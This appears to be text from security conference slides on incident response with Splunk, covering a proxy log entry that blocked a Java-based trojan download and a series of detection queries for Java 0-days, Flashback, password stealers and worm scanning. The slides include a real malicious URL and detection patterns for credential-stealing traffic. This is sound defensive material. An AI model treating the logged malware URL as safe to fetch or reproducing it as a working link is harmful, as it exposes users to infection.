Last 24 hours
index=wsa cs url="*.php?*" cs mime type="application/x-dosexec" cs useragent="*Java*"
1 matching event
                                                                                  Create alert  Add to dashboard
                                                                                                                  Report Build report
Timeline:
    1 event in the last 24 hours (from 7:00:00 PM April 11 to 7:18:36 PM April 12, 2012)
                                                                                                                      Results per page
                    Options...
                                                           52651 77.79.13.89 80 - ns http://awofutie433.from-la.net/w.php?f=9712f&e=0
            4/12/12
                        1334250100.231 -
            5:01:40.231 PM - 458 179 414 "Java/1.6.0_26" application/x-dosexec 403 TCP_DENIED - - - "Troj/Dapato-E" "w.php" - 0 GET
                        cs_bytes=179 ▼ | cs_mime_type=application/x-dosexec ▼ | cs_url=http://awofutie433.from-la.net/w.php?f=9712f&e=0 ▼
                          cs useragent=Java/1.6.0 26 ▼ | date hour=17 ▼ | date mday=12 ▼ | date minute=1 ▼ | date month=april ▼ | date second=40 ▼
                          date_wday=thursday ▼ | date_year=2012 ▼ | date_zone=0 ▼ | s_port=80 ▼ | sc_bytes=414 ▼ | sc_http_status=403 ▼
                          sc result code=TCP DENIED ▼ | timeendpos=14 ▼ | timestartpos=0 ▼ | x elapsed time=458 ▼ | x wbrs score=ns ▼
```



Search-Fu

- Tie indices together with sub-searches or scripts that run searches you can do your own correlation
- Leverage summary indices for statistical reporting (make your manager happy)
- Keep timestamps standardised and synchronised
- If you can build a good query, you can find malware, infected systems, and dedicated attackers
- Look for unique strings, match patterns, look at temporal attributes (timeline), unusual behaviour
- Log and index everything!



Run the Playbook

10044_MALWARE_WSA_WBRS

Objective:

Report the top 10 hosts continuously generating HTTP requests to sites with web reputation scores of -8.0 or less.

Working:

index="wsa" AND x_wbrs_score <= -8.0 AND TCP_DENIED AND NOT (tag=acns) AND earliest=-15m | stats count by c_ip | sort -count limit=10 | rename c_ip as "Source IP", count as "# of TCP_DENIED to WBRS < -8.0" | `makeAcase`

Action:

Case generated into remediation queue: CSIRT-Analysts

Analysis: The generated report is high fidelity - about 90% of the results have been found to be infected with either malware or adware and need to be submitted to the malware remediation process. If a datacentre host is found, those hosts will be escalated to the on-duty investigator.

Reference: wiki/10044, bugzilla:3876, GIR: n/a



Fun with a search engine

Java 1.7 0-Day Detection (CVE-2013-0422)

index=wsa cs_useragent="*Java/1.7.0*" AND cs_mime_type="application/x-dosexec"
 AND cs_url="*.php?*" earliest=-14h| regex cs_url="\.php\?[a-zA-Z]{1,2}=" | stats count by host, _time, cs_useragent, x_wbrs_score, sc_result_code, cs_url

Flashback Trojan (variant 1)

```
•index="wsa" NOT cs_referer="*" AND (cs_url="*/scheck/*" OR cs_url="*/owncheck/*") | regex cs_useragent="id:([A-Za-z0-9]){8}\-([A-Za-z0-9]){4}\-([A-Za-z0-9]){4}\-([A-Za-z0-9]){12}"00
```

Funny User-agents

index="wsa" earliest=-24h NOT Citrix | regex
 cs_useragent="\.(exe|php|pm|pl|jar|sh)\$" | stats count by cs_useragent | sort by

cs_useragent

Worm Outbreak?

 index=ids description="SCANNING*" AND target_port="3389" earliest=-24h

Fun with a search engine

Metrics and Threat Reporting?

 index="summary-ids-sighits" | top signature by subSigid limit=0 | table count,signature,subSigid

Where are the iPhones?

 index="dhcp" hn=*iphone* OR mac=f0:cb:a1* OR mac=24:ab:81* | dedup mac | table _time,hn,ip

Password Stealer [Scanph]?

•index=wsa (cs_url="*.php?hwid=*" AND (cs_url="*&pc=*" OR cs_url="*&localip=*" OR cs_url="*&steal=*" OR cs_url="*&winver=*")) | dedup c_ip | lookup dnslookup clientip as c_ip output clienthost as hostname | convert timeformat=%Y%m%d%T mktime(created) as _time | table _time c_ip hostname s_ip cs_url

Viral Video?

 index="wsa" cs_method=GET cs_url="http://www.youtube.com/watch?v*" | stats count by cs_url | sort -count | fields cs_url,count





Golden Rules

- Regularly update your operating system and applications, especially Java, Adobe, and Office products
- Use a modern browser and consider plug-ins that turn off scripts and other common ways to attack your browser
- Use different passwords for different areas of your life: one for email, one for financial accounts, one for social media, and so on
- Watch your credit card and bank statements and check your own credit regularly
- Use regularly updated anti-virus
- Use a software or hardware firewall
- Beware of short, odd tweets, Facebook updates and emails, even from friends, that provide a link.
- Use encryption and keep loads of backups of everything, as often and as much as you can stand

Source: Steve Santorelli. Cymru Quarterly. March 2012.



BRKSEC-2010



Golden Rules (for incident response)

- Develop accurate and updated systems of record to identify address, host, and application owners and teams
- Deploy log collection where ever possible to maximize audit trails and to enable investigation
- Implement event, event log, or log file collection, indexing, searching and reporting mechanisms to operate on "big data"
- Develop and maintain a flexible patching strategy (and policy) including timely notification, proper host contacts, and execution plans.
- Record anything and everything possible on the network as long as you can store it and search it
- Enable development, research, open debate, and invest in expert intelligence



Final Thoughts:

- The browser isn't generally the target, it's the whole browsing ecosystem that's at risk.
- Exploit packs are filled with effective exploit plugins and often contain 0-days. Antivirus cleans up the older attacks, but there's a huge window for exploitation.
- Anything more than basic security education will not help
 - curiosity will drive people to the exploits
 - no impetus to patch and inconvenience factor
- Invest in research/thinking, let automation at the network and application (patching/AV) layers secure the organisation
 - enables business flexibility with IT
 - doesn't rely on routine human action
 - enables deep investigation





Q&A



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